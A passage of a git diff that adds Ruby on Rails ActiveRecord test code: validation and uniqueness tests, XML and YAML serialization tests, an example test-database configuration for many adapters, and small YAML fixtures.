+ assert w5.errors[:name].any?, "Should have errors for name"
+ assert_equal ["has already been taken"], w5.errors[:name], "Should have uniqueness message for name"
+
+ w6 = Thaumaturgist.new(:name => "Mustrum Ridcully", :city => "Quirm")
+ assert !w6.valid?, "w6 shouldn't be valid"
+ assert w6.errors[:city].any?, "Should have errors for city"
+ assert_equal ["has already been taken"], w6.errors[:city], "Should have uniqueness message for city"
+ end
+
+ def test_validate_uniqueness_with_conditions
+ Topic.validates_uniqueness_of :title, conditions: -> { where(approved: true) }
+ Topic.create("title" => "I'm a topic", "approved" => true)
+ Topic.create("title" => "I'm an unapproved topic", "approved" => false)
+
+ t3 = Topic.new("title" => "I'm a topic", "approved" => true)
+ assert !t3.valid?, "t3 shouldn't be valid"
+
+ t4 = Topic.new("title" => "I'm an unapproved topic", "approved" => false)
+ assert t4.valid?, "t4 should be valid"
+ end
+
+ def test_validate_uniqueness_with_non_callable_conditions_is_not_supported
+ assert_raises(ArgumentError) {
+ Topic.validates_uniqueness_of :title, conditions: Topic.where(approved: true)
+ }
+ end
+
+ def test_validate_uniqueness_with_array_column
+ return skip "Uniqueness on arrays has only been tested in PostgreSQL so far." if !current_adapter? :PostgreSQLAdapter
+
+ e1 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [1000, 1200])
+ assert e1.persisted?, "Saving e1"
+
+ e2 = Employee.create("nicknames" => ["john", "johnny"], "commission_by_quarter" => [2200])
+ assert !e2.persisted?, "e2 shouldn't be valid"
+ assert e2.errors[:nicknames].any?, "Should have errors for nicknames"
+ assert_equal ["has already been taken"], e2.errors[:nicknames], "Should have uniqueness message for nicknames"
+ end
+end
diff --git a/activerecord/test/cases/validations_repair_helper.rb b/activerecord/test/cases/validations_repair_helper.rb
new file mode 100644
index 0000000..c02b324
--- /dev/null
+++ b/activerecord/test/cases/validations_repair_helper.rb
@@ -0,0 +1,23 @@
+module ActiveRecord
+ module ValidationsRepairHelper
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ def repair_validations(*model_classes)
+ teardown do
+ model_classes.each do |k|
+ k.clear_validators!
+ end
+ end
+ end
+ end
+
+ def repair_validations(*model_classes)
+ yield
+ ensure
+ model_classes.each do |k|
+ k.clear_validators!
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
new file mode 100644
index 0000000..3f587d1
--- /dev/null
+++ b/activerecord/test/cases/validations_test.rb
@@ -0,0 +1,124 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+require 'models/person'
+require 'models/developer'
+require 'models/parrot'
+require 'models/company'
+
+class ValidationsTest < ActiveRecord::TestCase
+ fixtures :topics, :developers
+
+ # Most of the tests mess with the validations of Topic, so lets repair it all the time.
+ # Other classes we mess with will be dealt with in the specific tests
+ repair_validations(Topic)
+
+ def test_error_on_create
+ r = WrongReply.new
+ r.title = "Wrong Create"
+ assert !r.save
+ assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+ assert_equal ["is Wrong Create"], r.errors[:title], "A reply with a bad content should contain an error"
+ end
+
+ def test_error_on_update
+ r = WrongReply.new
+ r.title = "Bad"
+ r.content = "Good"
+ assert r.save, "First save should be successful"
+
+ r.title = "Wrong Update"
+ assert !r.save, "Second save should fail"
+
+ assert r.errors[:title].any?, "A reply with a bad title should mark that attribute as invalid"
+ assert_equal ["is Wrong Update"], r.errors[:title], "A reply with a bad content should contain an error"
+ end
+
+ def test_error_on_given_context
+ r = WrongReply.new(:title => "Valid title")
+ assert !r.valid?(:special_case)
+ assert_equal "Invalid", r.errors[:author_name].join
+
+ r.author_name = "secret"
+ r.content = "Good"
+ assert r.valid?(:special_case)
+
+ r.author_name = nil
+ assert !r.save(:context => :special_case)
+ assert_equal "Invalid", r.errors[:author_name].join
+
+ r.author_name = "secret"
+ assert r.save(:context => :special_case)
+ end
+
+ def test_invalid_record_exception
+ assert_raise(ActiveRecord::RecordInvalid) { WrongReply.create! }
+ assert_raise(ActiveRecord::RecordInvalid) { WrongReply.new.save! }
+
+ begin
+ r = WrongReply.new
+ r.save!
+ flunk
+ rescue ActiveRecord::RecordInvalid => invalid
+ assert_equal r, invalid.record
+ end
+ end
+
+ def test_exception_on_create_bang_many
+ assert_raise(ActiveRecord::RecordInvalid) do
+ WrongReply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
+ end
+ end
+
+ def test_exception_on_create_bang_with_block
+ assert_raise(ActiveRecord::RecordInvalid) do
+ WrongReply.create!({ "title" => "OK" }) do |r|
+ r.content = nil
+ end
+ end
+ end
+
+ def test_exception_on_create_bang_many_with_block
+ assert_raise(ActiveRecord::RecordInvalid) do
+ WrongReply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
+ r.content = nil
+ end
+ end
+ end
+
+ def test_create_without_validation
+ reply = WrongReply.new
+ assert !reply.save
+ assert reply.save(:validate => false)
+ end
+
+ def test_validates_acceptance_of_with_non_existant_table
+ Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base)
+
+ assert_nothing_raised ActiveRecord::StatementInvalid do
+ IncorporealModel.validates_acceptance_of(:incorporeal_column)
+ end
+ end
+
+ def test_throw_away_typing
+ d = Developer.new("name" => "David", "salary" => "100,000")
+ assert !d.valid?
+ assert_equal 100, d.salary
+ assert_equal "100,000", d.salary_before_type_cast
+ end
+
+ def test_validates_acceptance_of_as_database_column
+ Topic.validates_acceptance_of(:approved)
+ topic = Topic.create("approved" => true)
+ assert topic["approved"]
+ end
+
+ def test_validators
+ assert_equal 1, Parrot.validators.size
+ assert_equal 1, Company.validators.size
+ assert_equal 1, Parrot.validators_on(:name).size
+ assert_equal 1, Company.validators_on(:name).size
+ end
+
+end
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
new file mode 100644
index 0000000..68fa15d
--- /dev/null
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -0,0 +1,455 @@
+require "cases/helper"
+require 'models/contact'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/company_in_module'
+require 'models/toy'
+require 'models/topic'
+require 'models/reply'
+require 'models/company'
+
+class XmlSerializationTest < ActiveRecord::TestCase
+ def test_should_serialize_default_root
+ @xml = Contact.new.to_xml
+ assert_match %r{^<contact>}, @xml
+ assert_match %r{</contact>$}, @xml
+ end
+
+ def test_should_serialize_default_root_with_namespace
+ @xml = Contact.new.to_xml :namespace=>"http://xml.rubyonrails.org/contact"
+ assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, @xml
+ assert_match %r{</contact>$}, @xml
+ end
+
+ def test_should_serialize_custom_root
+ @xml = Contact.new.to_xml :root => 'xml_contact'
+ assert_match %r{^<xml-contact>}, @xml
+ assert_match %r{</xml-contact>$}, @xml
+ end
+
+ def test_should_allow_undasherized_tags
+ @xml = Contact.new.to_xml :root => 'xml_contact', :dasherize => false
+ assert_match %r{^<xml_contact>}, @xml
+ assert_match %r{</xml_contact>$}, @xml
+ assert_match %r{<created_at}, @xml
+ end
+
+ def test_should_allow_camelized_tags
+ @xml = Contact.new.to_xml :root => 'xml_contact', :camelize => true
+ assert_match %r{^<XmlContact>}, @xml
+ assert_match %r{</XmlContact>$}, @xml
+ assert_match %r{<CreatedAt}, @xml
+ end
+
+ def test_should_allow_skipped_types
+ @xml = Contact.new(:age => 25).to_xml :skip_types => true
+ assert %r{<age>25</age>}.match(@xml)
+ end
+
+ def test_should_include_yielded_additions
+ @xml = Contact.new.to_xml do |xml|
+ xml.creator "David"
+ end
+ assert_match %r{<creator>David</creator>}, @xml
+ end
+
+ def test_to_xml_with_block
+ value = "Rockin' the block"
+ xml = Contact.new.to_xml(:skip_instruct => true) do |_xml|
+ _xml.tag! "arbitrary-element", value
+ end
+ assert_equal "<contact>", xml.first(9)
+ assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>))
+ end
+
+ def test_should_skip_instruct_for_included_records
+ @contact = Contact.new
+ @contact.alternative = Contact.new(:name => 'Copa Cabana')
+ @xml = @contact.to_xml(:include => [ :alternative ])
+ assert_equal @xml.index('<?xml '), 0
+ assert_nil @xml.index('<?xml ', 1)
+ end
+end
+
+class DefaultXmlSerializationTest < ActiveRecord::TestCase
+ def setup
+ @contact = Contact.new(
+ :name => 'aaron stack',
+ :age => 25,
+ :avatar => 'binarydata',
+ :created_at => Time.utc(2006, 8, 1),
+ :awesome => false,
+ :preferences => { :gem => 'ruby' }
+ )
+ end
+
+ def test_should_serialize_string
+ assert_match %r{<name>aaron stack</name>}, @contact.to_xml
+ end
+
+ def test_should_serialize_integer
+ assert_match %r{<age type="integer">25</age>}, @contact.to_xml
+ end
+
+ def test_should_serialize_binary
+ xml = @contact.to_xml
+ assert_match %r{YmluYXJ5ZGF0YQ==\n</avatar>}, xml
+ assert_match %r{<avatar(.*)(type="binary")}, xml
+ assert_match %r{<avatar(.*)(encoding="base64")}, xml
+ end
+
+ def test_should_serialize_datetime
+ assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+ end
+
+ def test_should_serialize_boolean
+ assert_match %r{<awesome type=\"boolean\">false</awesome>}, @contact.to_xml
+ end
+
+ def test_should_serialize_hash
+ assert_match %r{<preferences>\s*<gem>ruby</gem>\s*</preferences>}m, @contact.to_xml
+ end
+
+ def test_uses_serializable_hash_with_only_option
+ def @contact.serializable_hash(options=nil)
+ super(only: %w(name))
+ end
+
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_no_match %r{age}, xml
+ assert_no_match %r{awesome}, xml
+ end
+
+ def test_uses_serializable_hash_with_except_option
+ def @contact.serializable_hash(options=nil)
+ super(except: %w(age))
+ end
+
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_match %r{<awesome type=\"boolean\">false</awesome>}, xml
+ assert_no_match %r{age}, xml
+ end
+
+ def test_does_not_include_inheritance_column_from_sti
+ @contact = ContactSti.new(@contact.attributes)
+ assert_equal 'ContactSti', @contact.type
+
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_no_match %r{<type}, xml
+ assert_no_match %r{ContactSti}, xml
+ end
+
+ def test_serializable_hash_with_default_except_option_and_excluding_inheritance_column_from_sti
+ @contact = ContactSti.new(@contact.attributes)
+ assert_equal 'ContactSti', @contact.type
+
+ def @contact.serializable_hash(options={})
+ super({ except: %w(age) }.merge!(options))
+ end
+
+ xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, xml
+ assert_no_match %r{age}, xml
+ assert_no_match %r{<type}, xml
+ assert_no_match %r{ContactSti}, xml
+ end
+end
+
+class DefaultXmlSerializationTimezoneTest < ActiveRecord::TestCase
+ def test_should_serialize_datetime_with_timezone
+ timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
+
+ toy = Toy.create(:name => 'Mickey', :updated_at => Time.utc(2006, 8, 1))
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ ensure
+ Time.zone = timezone
+ end
+
+ def test_should_serialize_datetime_with_timezone_reloaded
+ timezone, Time.zone = Time.zone, "Pacific Time (US & Canada)"
+
+ toy = Toy.create(:name => 'Minnie', :updated_at => Time.utc(2006, 8, 1)).reload
+ assert_match %r{<updated-at type=\"dateTime\">2006-07-31T17:00:00-07:00</updated-at>}, toy.to_xml
+ ensure
+ Time.zone = timezone
+ end
+end
+
+class NilXmlSerializationTest < ActiveRecord::TestCase
+ def setup
+ @xml = Contact.new.to_xml(:root => 'xml_contact')
+ end
+
+ def test_should_serialize_string
+ assert_match %r{<name nil="true"/>}, @xml
+ end
+
+ def test_should_serialize_integer
+ assert %r{<age (.*)/>}.match(@xml)
+ attributes = $1
+ assert_match %r{nil="true"}, attributes
+ assert_match %r{type="integer"}, attributes
+ end
+
+ def test_should_serialize_binary
+ assert %r{<avatar (.*)/>}.match(@xml)
+ attributes = $1
+ assert_match %r{type="binary"}, attributes
+ assert_match %r{encoding="base64"}, attributes
+ assert_match %r{nil="true"}, attributes
+ end
+
+ def test_should_serialize_datetime
+ assert %r{<created-at (.*)/>}.match(@xml)
+ attributes = $1
+ assert_match %r{nil="true"}, attributes
+ assert_match %r{type="dateTime"}, attributes
+ end
+
+ def test_should_serialize_boolean
+ assert %r{<awesome (.*)/>}.match(@xml)
+ attributes = $1
+ assert_match %r{type="boolean"}, attributes
+ assert_match %r{nil="true"}, attributes
+ end
+
+ def test_should_serialize_yaml
+ assert_match %r{<preferences nil=\"true\"/>}, @xml
+ end
+end
+
+class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
+ fixtures :topics, :companies, :accounts, :authors, :posts, :projects
+
+ def test_to_xml
+ xml = REXML::Document.new(topics(:first).to_xml(:indent => 0))
+ bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema
+ written_on_in_current_timezone = topics(:first).written_on.xmlschema
+ last_read_in_current_timezone = topics(:first).last_read.xmlschema
+
+ assert_equal "topic", xml.root.name
+ assert_equal "The First Topic" , xml.elements["//title"].text
+ assert_equal "David" , xml.elements["//author-name"].text
+ assert_match "Have a nice day", xml.elements["//content"].text
+
+ assert_equal "1", xml.elements["//id"].text
+ assert_equal "integer" , xml.elements["//id"].attributes['type']
+
+ assert_equal "1", xml.elements["//replies-count"].text
+ assert_equal "integer" , xml.elements["//replies-count"].attributes['type']
+
+ assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text
+ assert_equal "dateTime" , xml.elements["//written-on"].attributes['type']
+
+ assert_equal "david at loudthinking.com", xml.elements["//author-email-address"].text
+
+ assert_equal nil, xml.elements["//parent-id"].text
+ assert_equal "integer", xml.elements["//parent-id"].attributes['type']
+ assert_equal "true", xml.elements["//parent-id"].attributes['nil']
+
+ if current_adapter?(:SybaseAdapter)
+ assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
+ assert_equal "dateTime" , xml.elements["//last-read"].attributes['type']
+ else
+ # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+ assert_equal "2004-04-15", xml.elements["//last-read"].text
+ assert_equal "date" , xml.elements["//last-read"].attributes['type']
+ end
+
+ # Oracle and DB2 don't have true boolean or time-only fields
+ unless current_adapter?(:OracleAdapter, :DB2Adapter)
+ assert_equal "false", xml.elements["//approved"].text
+ assert_equal "boolean" , xml.elements["//approved"].attributes['type']
+
+ assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text
+ assert_equal "dateTime" , xml.elements["//bonus-time"].attributes['type']
+ end
+ end
+
+ def test_except_option
+ xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count])
+ assert_equal "<topic>", xml.first(7)
+ assert !xml.include?(%(<title>The First Topic</title>))
+ assert xml.include?(%(<author-name>David</author-name>))
+
+ xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count])
+ assert !xml.include?(%(<title>The First Topic</title>))
+ assert !xml.include?(%(<author-name>David</author-name>))
+ end
+
+ # to_xml used to mess with the hash the user provided which
+ # caused the builder to be reused. This meant the document kept
+ # getting appended to.
+
+ def test_modules
+ projects = MyApplication::Business::Project.all
+ xml = projects.to_xml
+ root = projects.first.class.to_s.underscore.pluralize.tr('/','_').dasherize
+ assert_match "<#{root} type=\"array\">", xml
+ assert_match "</#{root}>", xml
+ end
+
+ def test_passing_hash_shouldnt_reuse_builder
+ options = {:include=>:posts}
+ david = authors(:david)
+ first_xml_size = david.to_xml(options).size
+ second_xml_size = david.to_xml(options).size
+ assert_equal first_xml_size, second_xml_size
+ end
+
+ def test_include_uses_association_name
+ xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0
+ assert_match %r{<hello-posts type="array">}, xml
+ assert_match %r{<hello-post type="Post">}, xml
+ assert_match %r{<hello-post type="StiPost">}, xml
+ end
+
+ def test_included_associations_should_skip_types
+ xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0, :skip_types => true
+ assert_match %r{<hello-posts>}, xml
+ assert_match %r{<hello-post>}, xml
+ assert_match %r{<hello-post>}, xml
+ end
+
+ def test_including_has_many_association
+ xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count)
+ assert_equal "<topic>", xml.first(7)
+ assert xml.include?(%(<replies type="array"><reply>))
+ assert xml.include?(%(<title>The Second Topic of the day</title>))
+ end
+
+ def test_including_belongs_to_association
+ xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+ assert !xml.include?("<firm>")
+
+ xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+ assert xml.include?("<firm>")
+ end
+
+ def test_including_multiple_associations
+ xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ])
+ assert_equal "<firm>", xml.first(6)
+ assert xml.include?(%(<account>))
+ assert xml.include?(%(<clients type="array"><client>))
+ end
+
+ def test_including_association_with_options
+ xml = companies(:first_firm).to_xml(
+ :indent => 0, :skip_instruct => true,
+ :include => { :clients => { :only => :name } }
+ )
+
+ assert_equal "<firm>", xml.first(6)
+ assert xml.include?(%(<client><name>Summit</name></client>))
+ assert xml.include?(%(<clients type="array"><client>))
+ end
+
+ def test_methods_are_called_on_object
+ xml = authors(:david).to_xml :methods => :label, :indent => 0
+ assert_match %r{<label>.*</label>}, xml
+ end
+
+ def test_should_not_call_methods_on_associations_that_dont_respond
+ xml = authors(:david).to_xml :include=>:hello_posts, :methods => :label, :indent => 2
+ assert !authors(:david).hello_posts.first.respond_to?(:label)
+ assert_match %r{^ <label>.*</label>}, xml
+ assert_no_match %r{^ <label>}, xml
+ end
+
+ def test_procs_are_called_on_object
+ proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
+ xml = authors(:david).to_xml(:procs => [ proc ])
+ assert_match %r{<nationality>Danish</nationality>}, xml
+ end
+
+ def test_dual_arity_procs_are_called_on_object
+ proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) }
+ xml = authors(:david).to_xml(:procs => [ proc ])
+ assert_match %r{<name-reverse>divaD</name-reverse>}, xml
+ end
+
+ def test_top_level_procs_arent_applied_to_associations
+ author_proc = Proc.new { |options| options[:builder].tag!('nationality', 'Danish') }
+ xml = authors(:david).to_xml(:procs => [ author_proc ], :include => :posts, :indent => 2)
+
+ assert_match %r{^ <nationality>Danish</nationality>}, xml
+ assert_no_match %r{^ {6}<nationality>Danish</nationality>}, xml
+ end
+
+ def test_procs_on_included_associations_are_called
+ posts_proc = Proc.new { |options| options[:builder].tag!('copyright', 'DHH') }
+ xml = authors(:david).to_xml(
+ :indent => 2,
+ :include => {
+ :posts => { :procs => [ posts_proc ] }
+ }
+ )
+
+ assert_no_match %r{^ <copyright>DHH</copyright>}, xml
+ assert_match %r{^ {6}<copyright>DHH</copyright>}, xml
+ end
+
+ def test_should_include_empty_has_many_as_empty_array
+ authors(:david).posts.delete_all
+ xml = authors(:david).to_xml :include=>:posts, :indent => 2
+
+ assert_equal [], Hash.from_xml(xml)['author']['posts']
+ assert_match %r{^ <posts type="array"/>}, xml
+ end
+
+ def test_should_has_many_array_elements_should_include_type_when_different_from_guessed_value
+ xml = authors(:david).to_xml :include=>:posts_with_comments, :indent => 2
+
+ assert Hash.from_xml(xml)
+ assert_match %r{^ <posts-with-comments type="array">}, xml
+ assert_match %r{^ <posts-with-comment type="Post">}, xml
+ assert_match %r{^ <posts-with-comment type="StiPost">}, xml
+
+ types = Hash.from_xml(xml)['author']['posts_with_comments'].collect {|t| t['type'] }
+ assert types.include?('SpecialPost')
+ assert types.include?('Post')
+ assert types.include?('StiPost')
+ end
+
+ def test_should_produce_xml_for_methods_returning_array
+ xml = authors(:david).to_xml(:methods => :social)
+ array = Hash.from_xml(xml)['author']['social']
+ assert_equal 2, array.size
+ assert array.include? 'twitter'
+ assert array.include? 'github'
+ end
+
+ def test_should_support_aliased_attributes
+ xml = Author.select("name as firstname").to_xml
+ array = Hash.from_xml(xml)['authors']
+ assert_equal array.size, array.select { |author| author.has_key? 'firstname' }.size
+ end
+
+ def test_array_to_xml_including_has_many_association
+ xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies)
+ assert xml.include?(%(<replies type="array"><reply>))
+ end
+
+ def test_array_to_xml_including_methods
+ xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ])
+ assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml
+ assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml
+ end
+
+ def test_array_to_xml_including_has_one_association
+ xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account)
+ assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true))
+ assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true))
+ end
+
+ def test_array_to_xml_including_belongs_to_association
+ xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+ assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true))
+ assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true))
+ assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true))
+ end
+end
diff --git a/activerecord/test/cases/yaml_serialization_test.rb b/activerecord/test/cases/yaml_serialization_test.rb
new file mode 100644
index 0000000..302913e
--- /dev/null
+++ b/activerecord/test/cases/yaml_serialization_test.rb
@@ -0,0 +1,52 @@
+require 'cases/helper'
+require 'models/topic'
+
+class YamlSerializationTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_to_yaml_with_time_with_zone_should_not_raise_exception
+ tz = Time.zone
+ Time.zone = ActiveSupport::TimeZone["Pacific Time (US & Canada)"]
+ ActiveRecord::Base.time_zone_aware_attributes = true
+
+ topic = Topic.new(:written_on => DateTime.now)
+ assert_nothing_raised { topic.to_yaml }
+
+ ensure
+ Time.zone = tz
+ ActiveRecord::Base.time_zone_aware_attributes = false
+ end
+
+ def test_roundtrip
+ topic = Topic.first
+ assert topic
+ t = YAML.load YAML.dump topic
+ assert_equal topic, t
+ end
+
+ def test_roundtrip_serialized_column
+ topic = Topic.new(:content => {:omg=>:lol})
+ assert_equal({:omg=>:lol}, YAML.load(YAML.dump(topic)).content)
+ end
+
+ def test_encode_with_coder
+ topic = Topic.first
+ coder = {}
+ topic.encode_with coder
+ assert_equal({'attributes' => topic.attributes}, coder)
+ end
+
+ def test_psych_roundtrip
+ topic = Topic.first
+ assert topic
+ t = Psych.load Psych.dump topic
+ assert_equal topic, t
+ end
+
+ def test_psych_roundtrip_new_object
+ topic = Topic.new
+ assert topic
+ t = Psych.load Psych.dump topic
+ assert_equal topic.attributes, t.attributes
+ end
+end
diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml
new file mode 100644
index 0000000..479b8c0
--- /dev/null
+++ b/activerecord/test/config.example.yml
@@ -0,0 +1,140 @@
+default_connection: <%= defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3' %>
+
+with_manual_interventions: false
+
+connections:
+ jdbcderby:
+ arunit: activerecord_unittest
+ arunit2: activerecord_unittest2
+
+ jdbch2:
+ arunit: activerecord_unittest
+ arunit2: activerecord_unittest2
+
+ jdbchsqldb:
+ arunit: activerecord_unittest
+ arunit2: activerecord_unittest2
+
+ jdbcmysql:
+ arunit:
+ username: rails
+ encoding: utf8
+ arunit2:
+ username: rails
+ encoding: utf8
+
+ jdbcpostgresql:
+ arunit:
+ username: <%= ENV['user'] || 'rails' %>
+ arunit2:
+ username: <%= ENV['user'] || 'rails' %>
+
+ jdbcsqlite3:
+ arunit:
+ database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
+ timeout: 5000
+ arunit2:
+ database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
+ timeout: 5000
+
+ db2:
+ arunit:
+ adapter: ibm_db
+ host: localhost
+ username: arunit
+ password: arunit
+ database: arunit
+ arunit2:
+ adapter: ibm_db
+ host: localhost
+ username: arunit
+ password: arunit
+ database: arunit2
+
+ firebird:
+ arunit:
+ host: localhost
+ username: rails
+ password: rails
+ charset: UTF8
+ arunit2:
+ host: localhost
+ username: rails
+ password: rails
+ charset: UTF8
+
+ frontbase:
+ arunit:
+ host: localhost
+ username: rails
+ session_name: unittest-<%= $$ %>
+ arunit2:
+ host: localhost
+ username: rails
+ session_name: unittest-<%= $$ %>
+
+ mysql:
+ arunit:
+ username: rails
+ encoding: utf8
+ arunit2:
+ username: rails
+ encoding: utf8
+
+ mysql2:
+ arunit:
+ username: rails
+ encoding: utf8
+ arunit2:
+ username: rails
+ encoding: utf8
+
+ openbase:
+ arunit:
+ username: admin
+ arunit2:
+ username: admin
+
+ oracle:
+ arunit:
+ adapter: oracle_enhanced
+ database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
+ username: <%= ENV['ARUNIT_USER_NAME'] || 'arunit' %>
+ password: <%= ENV['ARUNIT_PASSWORD'] || 'arunit' %>
+ emulate_oracle_adapter: true
+ arunit2:
+ adapter: oracle_enhanced
+ database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %>
+ username: <%= ENV['ARUNIT2_USER_NAME'] || 'arunit2' %>
+ password: <%= ENV['ARUNIT2_PASSWORD'] || 'arunit2' %>
+ emulate_oracle_adapter: true
+
+ postgresql:
+ arunit:
+ min_messages: warning
+ arunit2:
+ min_messages: warning
+
+ sqlite3:
+ arunit:
+ database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3
+ timeout: 5000
+ arunit2:
+ database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3
+ timeout: 5000
+
+ sqlite3_mem:
+ arunit:
+ adapter: sqlite3
+ database: ':memory:'
+ arunit2:
+ adapter: sqlite3
+ database: ':memory:'
+
+ sybase:
+ arunit:
+ host: database_ASE
+ username: sa
+ arunit2:
+ host: database_ASE
+ username: sa
diff --git a/activerecord/test/config.rb b/activerecord/test/config.rb
new file mode 100644
index 0000000..6e2e8b2
--- /dev/null
+++ b/activerecord/test/config.rb
@@ -0,0 +1,5 @@
+TEST_ROOT = File.expand_path(File.dirname(__FILE__))
+ASSETS_ROOT = TEST_ROOT + "/assets"
+FIXTURES_ROOT = TEST_ROOT + "/fixtures"
+MIGRATIONS_ROOT = TEST_ROOT + "/migrations"
+SCHEMA_ROOT = TEST_ROOT + "/schema"
diff --git a/activerecord/test/fixtures/.gitignore b/activerecord/test/fixtures/.gitignore
new file mode 100644
index 0000000..885029a
--- /dev/null
+++ b/activerecord/test/fixtures/.gitignore
@@ -0,0 +1 @@
+*.sqlite*
\ No newline at end of file
diff --git a/activerecord/test/fixtures/accounts.yml b/activerecord/test/fixtures/accounts.yml
new file mode 100644
index 0000000..3258304
--- /dev/null
+++ b/activerecord/test/fixtures/accounts.yml
@@ -0,0 +1,29 @@
+signals37:
+ id: 1
+ firm_id: 1
+ credit_limit: 50
+ firm_name: 37signals
+
+unknown:
+ id: 2
+ credit_limit: 50
+
+rails_core_account:
+ id: 3
+ firm_id: 6
+ credit_limit: 50
+
+last_account:
+ id: 4
+ firm_id: 2
+ credit_limit: 60
+
+rails_core_account_2:
+ id: 5
+ firm_id: 6
+ credit_limit: 55
+
+odegy_account:
+ id: 6
+ firm_id: 9
+ credit_limit: 53
diff --git a/activerecord/test/fixtures/admin/accounts.yml b/activerecord/test/fixtures/admin/accounts.yml
new file mode 100644
index 0000000..9e341a1
--- /dev/null
+++ b/activerecord/test/fixtures/admin/accounts.yml
@@ -0,0 +1,2 @@
+signals37:
+ name: 37signals
diff --git a/activerecord/test/fixtures/admin/randomly_named_a9.yml b/activerecord/test/fixtures/admin/randomly_named_a9.yml
new file mode 100644
index 0000000..bc51c83
--- /dev/null
+++ b/activerecord/test/fixtures/admin/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:
+ some_attribute: AAA
+ another_attribute: 000
+
+second_instance:
+ some_attribute: BBB
+ another_attribute: 999
diff --git a/activerecord/test/fixtures/admin/randomly_named_b0.yml b/activerecord/test/fixtures/admin/randomly_named_b0.yml
new file mode 100644
index 0000000..bc51c83
--- /dev/null
+++ b/activerecord/test/fixtures/admin/randomly_named_b0.yml
@@ -0,0 +1,7 @@
+first_instance:
+ some_attribute: AAA
+ another_attribute: 000
+
+second_instance:
+ some_attribute: BBB
+ another_attribute: 999
diff --git a/activerecord/test/fixtures/admin/users.yml b/activerecord/test/fixtures/admin/users.yml
new file mode 100644
index 0000000..e2884be
--- /dev/null
+++ b/activerecord/test/fixtures/admin/users.yml
@@ -0,0 +1,10 @@
+david:
+ name: David
+ account: signals37
+
+jamis:
+ name: Jamis
+ account: signals37
+ settings:
+ :symbol: symbol
+ string: string
diff --git a/activerecord/test/fixtures/all/developers.yml b/activerecord/test/fixtures/all/developers.yml
new file mode 100644
index 0000000..e69de29
diff --git a/activerecord/test/fixtures/all/people.yml b/activerecord/test/fixtures/all/people.yml
new file mode 100644
index 0000000..e69de29
diff --git a/activerecord/test/fixtures/all/tasks.yml b/activerecord/test/fixtures/all/tasks.yml
new file mode 100644
index 0000000..e69de29
diff --git a/activerecord/test/fixtures/author_addresses.yml b/activerecord/test/fixtures/author_addresses.yml
new file mode 100644
index 0000000..7b90572
--- /dev/null
+++ b/activerecord/test/fixtures/author_addresses.yml
@@ -0,0 +1,5 @@
+david_address:
+ id: 1
+
+david_address_extra:
+ id: 2
